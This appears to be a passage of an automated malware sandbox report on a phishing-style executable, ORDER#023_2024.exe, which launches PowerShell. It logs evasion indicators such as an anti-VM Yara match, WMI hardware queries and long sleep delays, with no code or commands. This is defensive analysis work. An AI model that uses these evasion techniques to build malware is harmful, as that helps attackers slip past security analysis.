Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: ORDER#023_2024.exe PID: 6936, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\ORDER#023_2024.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Memory allocated: 2920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Memory allocated: 2B80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Memory allocated: 2920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Memory allocated: 7A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Memory allocated: 8A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Memory allocated: 8C20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Memory allocated: 9C20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Memory allocated: 14C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Memory allocated: 3000000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Memory allocated: 2E40000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6784	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1924	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Window / User API: threadDelayed 2608	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Window / User API: threadDelayed 7151	Jump to behavior

Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 7004	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2120	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4008	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6360	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 5480	Thread sleep count: 2608 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -35971150943733603s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 5480	Thread sleep count: 7151 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -99641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -99527s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -99422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -99312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -99203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -99094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -98969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -98836s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -98469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -98337s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -98219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -98110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -97985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -97860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -97735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -97610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -97485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -97360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -97235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -97110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -96985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -96860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -96735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -96610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -96485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -96360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -96219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -96094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -95985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -95860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -95735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -95610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -95485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -95360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -95235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -95110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -94985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -94860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -94735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -94610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -94485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -94360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -94235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -94110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -93985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -93860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -93735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -93610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe TID: 2852	Thread sleep time: -93485s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\ORDER#023_2024.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\ORDER#023_2024.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 99641	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 99527	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 99422	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 99312	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 99203	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 99094	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 98969	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 98836	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 98469	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 98337	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 98219	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 98110	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 97985	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 97860	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 97735	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 97610	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 97485	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 97360	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 97235	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 97110	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 96985	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 96860	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 96735	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 96610	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 96485	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 96360	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 96219	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 96094	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 95985	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 95860	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 95735	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 95610	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 95485	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 95360	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 95235	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 95110	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 94985	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 94860	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 94735	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 94610	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 94485	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 94360	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Thread delayed: delay time: 94235	Jump to behavior
